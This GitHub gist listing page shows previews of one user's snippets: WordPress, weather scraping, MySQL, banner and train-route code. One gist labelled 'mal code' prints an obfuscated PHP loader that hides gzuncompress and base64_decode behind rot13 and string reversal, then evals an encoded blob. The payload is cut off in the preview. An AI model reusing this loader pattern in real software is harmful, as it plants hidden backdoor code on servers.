Skip to content

Instantly share code, notes, and snippets.

View necenzurat's full-sized avatar
🥺
I still hate JS

Costin Moise necenzurat

🥺
I still hate JS
View GitHub Profile
@necenzurat
necenzurat / gist:2691845
Created May 14, 2012 04:55
Upload Media in WordPress Meta Boxes shamesly copied from http://www.wproots.com/upload-media-in-meta-boxes/
<?php
add_action('admin_menu', 'addMetaBox');
add_action('save_post', 'saveMetaData', 10, 2);
add_action('admin_head', 'embedUploaderCode');
//Define the metabox attributes.
$metaBox = array(
'id' => 'my-meta-box',
'title' => 'My Meta Box',
'page' => 'page',
@necenzurat
necenzurat / gist:3436686
Created August 23, 2012 13:39
accuweather
<?php
$curl = file_get_content("http://www.accuweather.com/ro/ro/bucuresti/bucharest/hourly.aspx");
/* Ora */
preg_match_all("(<div class=\"hbhItem textBold\">(.*?)</div>)s", $curl, $out);
//$ora = strtolower(trim($out[1][0]));
/* Temperatura */
@necenzurat
necenzurat / gist:3436746
Created August 23, 2012 13:45
google weather
<?php
/* shits */
header('Content-Type: text/html; charset=utf-8');
set_time_limit(0);
date_default_timezone_set("Europe/Bucharest");
function sopen($url_page){
$ua = "Googlebot/2.1 (+http://www.google.com/bot.html)"; // google :D
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url_page);
@necenzurat
necenzurat / gist:3520079
Created August 29, 2012 23:06
a script that changes all collations to utf8_general_ci
<?php
/*
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
Version 2, December 2004
Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
@necenzurat
necenzurat / gist:3552021
Created August 31, 2012 12:14
Banner target on regions
<script language="javascript" src="http://j.maxmind.com/app/geoip.js"></script>
<script language="javascript">
// aici intra linku catre sait
link = "http://redtube.com";
// aici intra imaginea
banner = "http://www.e-oferta.ro/openx/www/images/78004bd0f8cbf0e797e9ee811b8305d9.gif";
// in ce judete sa fie afisat
locatii_de_afisat = ["Cluj","Bucuresti","Timis"];
@necenzurat
necenzurat / gist:3612615
Created September 3, 2012 19:25
mal code
<?php $a5043cf6d61a8f=str_rot13('tmhapbzcerff');$a5043cf6d62a29=str_rot13(strrev('rqbprq_46rfno')); eval($a5043cf6d61a8f($a5043cf6d62a29('eF6VWFtP41YQ/iv7UCm7UlWBTVCtigdQGyNrNxW09a2qkC8EFJw02pBkza/v+b6xkyyaMfTl2MmZM5dvrsc/hJ9/v7r8/Mffo7vzYBx4/s8nwd3on4vLr1+L9mNZrO/Pz+7q++rf+v7jKF80ow8/jdZ5HDT3YfNSX3/B74vRpx9fUeLvPGzacjHB6zN/31wolI7nmrtxsKvT21nmBfi5qUM84k19jaclx8nADuQ86/wrLz4BSerfrsoknuG9xBI21KpIb5RTRTLG5kpOYp02NR6XmgxHvUp9R6Hu5mnUluQRzaoFrdpRAz/CSu0KLAmW8VLj8LgriUfwpFtZX5PXqtQx8G9bsSJqqvDbY+b9pVMRy4PNjppI8YThAfCWE9QA/PG0ZbQpbSd/nsBCrfCinqrTaJ2LR+ald9soFNi7jugvh8GAriK9w8GUSLuJWiT69TjICZs/EdyfInJ4G5CxPwFq/NCRO+QJ1mCZS65s8KsOkSdflFNlcnNqSJaIafJT8nvOUmoyZySqcSyZGLkYE/MNDK4jxzNgbjme80Ln1fnLiNe9bqwF0G2OF50XETB5vSN2hGLOnLSj65iPTWnqkbkqkKUMi1nBmIjJLPXo0DPaxz+mJ9XOQrdkjdB8au9I9XCVgwSabrQnoVutaHG5ULoo02Ie21IDDApGhEQZo4JWWpHRxU+bM1GvsKyzZKpgja3jmlWFwctATtKKaF+fqImeadhafDutvAfDC3XXOwYQVfMO5+wz70Cyq7XSvwyssfdd5ryF89WaHnkTYxPfvnoR167eGcjlgquRxV0cDiJHxipnGo7ZZCmx4+ojHq5G1h1e9ryi+0siQXjS313NFX5YYqm/Vu3Fppqrpo2DtVW8IVEyEAP+4C
@necenzurat
necenzurat / gist:3627151
Created September 4, 2012 22:04
select random row from big mysql table
$to = mysql_fetch_row(query("SELECT COUNT(*) FROM produse"));
$rand = rand(1, $to[0]);
$result = mysql_fetch_row(query("SELECT * FROM produse where id =$rand"));
var_dump($result);
<?xml version="1.0" encoding="utf-8"?>
<adc_database xmlns="http://www.accuweather.com">
<units>
<temp>C</temp>
<dist>km kilometru</dist>
<speed>kph</speed>
<pres>kPa</pres>
<prec>mm milimetru</prec>
</units>
@necenzurat
necenzurat / demo-rute.xml
Created September 7, 2012 08:02
propunere merstrenuri.ro
<Rute>
<Infogen dela="Dej Calatori" via="" la="Tirgu Mures" data="Vi,7-Sep-2012"/>
<infotren>
<Tren tip="">
<Itren fmt="Tpe" tip="R" href="Lmb=Xml&amp;Sub=Info&amp;Inf=N:4303/0&amp;Dac=0" nr="4303 "/>
<Servicii>b a</Servicii>
<Plecare ora="4:38" href="Lmb=Xml&amp;Sub=Info&amp;Inf=S:46&amp;Dac=0" sta="Dej Calatori"/>
<Sosire ora="5:45" href="Lmb=Xml&amp;Sub=Info&amp;Inf=S:668&amp;Dac=0" sta="Apahida"/>
<Asteptare min="0:05"/>
<Restrictii></Restrictii>
{
"Rute": {
"Infogen": {
"-dela": "Dej Calatori",
"-la": "Tirgu Mures",
"-data": "Vi,7-Sep-2012"
},
"infotren": {
"-tren": "compus",
"Tren": [